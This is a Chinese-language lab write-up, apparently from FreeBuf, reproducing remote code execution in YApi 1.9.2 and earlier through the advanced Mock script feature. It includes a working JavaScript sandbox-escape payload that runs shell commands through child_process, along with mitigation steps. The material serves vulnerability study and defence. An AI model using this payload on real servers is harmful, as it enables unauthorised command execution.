前言
本文内容是作者在平时漏洞复现时记录的笔记,内容参考了前辈的经验,如有侵权请联系我及时进行删除。
影响范围
YApi<=1.9.2
漏洞复现
环境搭建
攻击机:Windows10
受害者:Kali Linux (ip:192.168.18.131)
Kali搭建YApi:
git clone https://github.com/fjc0k/docker-YApi.git
cd docker-YApi
docker-compose up -d
复现过程
注册后点击添加项目
添加接口
点击高级Mock,选择脚本并开启,写入恶意代码并保存。
保存后点击浏览,访问Mock地址,漏洞利用成功
payload
const sandbox = this const ObjectConstructor = this.constructor const FunctionConstructor = ObjectConstructor.constructor const myfun = FunctionConstructor('return process') const process = myfun() mockJson = process.mainModule.require("child_process").execSync("whoami && ps -ef").toString()
防御方案
1、关闭YApi用户注册功能;
在”config.json”添加”closeRegister:true”配置项:
{ "port": "*****", "closeRegister":true }
修改完成后,重启YApi服务。
2、暂时关闭mock功能(需要修改YApi代码);
在”config.json”中添加 “mock: false” ;
在”exts/yapi-plugin-andvanced-mock/server.js”中找到`if (caseData && caseData.case_enable) {…}`,在其上方添加`if(!yapi.WEBCONFIG.mock) {return false;}`。
3、白名单限制;
安全组配置白名单访问,或者使用NGINX进行代理,限制白名单IP访问;
4、检查用户列表,删除恶意不明用户;并删除恶意不明用户创建的接口及mock脚本。
参考链接
https://mp.weixin.qq.com/s/je06efYE9PqB58xhOyo2TA
https://mp.weixin.qq.com/s/v5EIpH2VvsvrI1RFZiLOlA
https://github.com/fjc0k/docker-YApi
来源:freebuf.com 2021-07-10 10:50:13 by: Yuhzha
请登录后发表评论
注册